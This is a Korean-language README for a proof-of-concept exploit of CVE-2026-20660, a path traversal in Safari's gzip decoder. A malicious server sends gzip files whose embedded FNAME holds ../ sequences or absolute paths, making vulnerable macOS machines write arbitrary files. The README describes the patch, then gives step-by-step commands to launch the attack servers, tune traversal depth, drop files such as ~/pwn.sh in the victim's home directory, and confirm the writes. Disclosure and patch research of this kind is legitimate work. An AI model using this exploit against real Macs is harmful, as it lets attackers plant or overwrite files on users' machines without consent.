
CVE-2026-20660에 대한 독립형 PoC 익스플로잇: Safari의 gzip 디코더에서의 경로 탐색. 서버가 악성 gzip을 전달하여 취약한 macOS에서 임의의 파일을 씁니다.
이 폴더에는 다음에 대한 독립형 개념 증명(PoC)이 포함되어 있습니다.
NSGZipDecoder gzip FNAME을 통한 경로 탐색server.py: 구성 가능한 탐색 깊이(depth)와 대상 이름을 가진 메인 PoC 서버server_overwrite.py: ../../pwn.sh를 쓰는 데 초점을 맞춘 변형README.md: 재현 노트 및 동작 로그패치 diff는 -[NSGZipDecoder filenameWithOriginalFilename:] 동작이 변경되었음을 보여줍니다.
lastPathComponent를 적용.이렇게 하면 FNAME의 ../와 같은 디렉터리 구성 요소와 절대 경로가 차단됩니다.
HTTP 파일 이름이 깨끗하더라도 공격은 성공할 수 있습니다.
Content-Disposition 파일 이름: 깨끗함 (예: report.gz)../../proof.txt)Safari 측의 삭제(sanitization)는 주로 HTTP 계층 이름에 적용되며, 취약한 흐름에서 NSGZipDecoder가 소비하는 내장 gzip FNAME에는 적용되지 않습니다.
저장소 루트에서:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
취약한 Safari에서 열기:
http://<server-ip>:8888/
Trigger depth=2를 클릭합니다.
트리거 후 대상 머신에서 쓰기 결과 확인:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
덮어쓰기 변형의 경우:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
그런 다음 열기:
http://<server-ip>:9999/
확인:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: 바인드 주소 (기본값 0.0.0.0)--port, -p: 수신 포트 (기본값 8888)--depth, -d: 탐색 깊이 (../ 반복 횟수, 기본값 2)--name, -n: 대상 출력 파일 이름예시:
# 깊이가 런타임 디렉터리 중첩과 일치할 때 ~/proof.txt에 쓰기
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# 명시적 절대 경로 테스트 (리졸버가 허용하는 경우)
python3 exploit/cve-2026-20660/server.py -p 8888
# 그런 다음 사용: /download?depth=0&fname=/tmp/proof.txt
~/Downloads 아래의 임시 디렉터리에서 발생할 수 있으므로, ~/로 빠져나가려면 깊이가 >= 2인 경우가 많습니다.2, 3, 4).승인된 테스트 환경에서만 사용하십시오.
더 자세한 설명은 다음을 참조하십시오: